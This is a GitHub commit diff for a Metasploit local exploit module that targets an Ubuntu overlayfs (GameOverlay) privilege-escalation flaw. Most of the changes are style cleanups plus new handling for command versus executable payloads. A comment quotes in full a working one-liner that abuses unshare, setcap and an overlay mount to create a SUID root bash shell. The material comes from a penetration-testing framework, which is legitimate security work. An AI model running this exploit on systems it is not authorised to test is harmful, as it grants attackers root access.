Skip to content

Commit 6e09722

Browse files
gardnerappbwatters-r7
authored andcommitted
Rubocop changes and arch tracking for payload
Update modules/exploits/linux/local/gameoverlay_privesc.rb Co-authored-by: Brendan <[email protected]> Rubocop changes
1 parent c6425f7 commit 6e09722

File tree

1 file changed

+15
-13
lines changed

1 file changed

+15
-13
lines changed

modules/exploits/linux/local/gameoverlay_privesc.rb

Lines changed: 15 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -112,15 +112,15 @@ def check
112112
end
113113
end
114114

115-
return CheckCode::Safe("Target does not appear to be running a vunerable Ubuntu Distro or Kernel")
115+
return CheckCode::Safe('Target does not appear to be running a vunerable Ubuntu Distro or Kernel')
116116
end
117117

118118
def exploit
119-
pay_file = datastore['PayloadFilename']
119+
datastore['PayloadFilename']
120120
pay_dir = datastore['WritableDir']
121-
pay_dir += "/" unless pay_dir.ends_with? "/"
121+
pay_dir += '/' unless pay_dir.ends_with? '/'
122122
pay_dir += Rex::Text.rand_text_alpha 10
123-
pay_dir += "/" unless pay_dir.ends_with? "/"
123+
pay_dir += '/' unless pay_dir.ends_with? '/'
124124
print_status "Creating directory to store payload: #{pay_dir}"
125125
mkdir pay_dir
126126
pay_dir = datastore['WritableDir']
@@ -141,20 +141,22 @@ def exploit
141141

142142
directories.each do |dir|
143143
print_status "Creating directory #{dir}"
144-
mkdir "#{dir}"
144+
mkdir dir.to_s
145145
end
146146

147-
pay = "#{pay_dir}#{pay_file}"
148-
149-
print_status "Writing payload: #{pay}"
150-
151-
write_file pay, generate_payload.generate
152-
153-
print_status 'Starting new namespace, and running exploit...'
147+
if target.arch.first == ARCH_CMD
148+
payload_cmd = "\\\"#{payload.encoded}\\\""
149+
else
150+
pay_file = datastore['PayloadFilename']
151+
payload_path = "#{pay_dir}#{pay_file}"
152+
print_status "Writing payload: #{payload_path}"
153+
write_file(payload_path, generate_payload_exe)
154+
payload_cmd = payload_path
155+
end
154156

155157
# g1vi original
156158
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
157-
159+
158160
# Exploit overlayfs vuln
159161
# Build the command
160162

0 commit comments

Comments
 (0)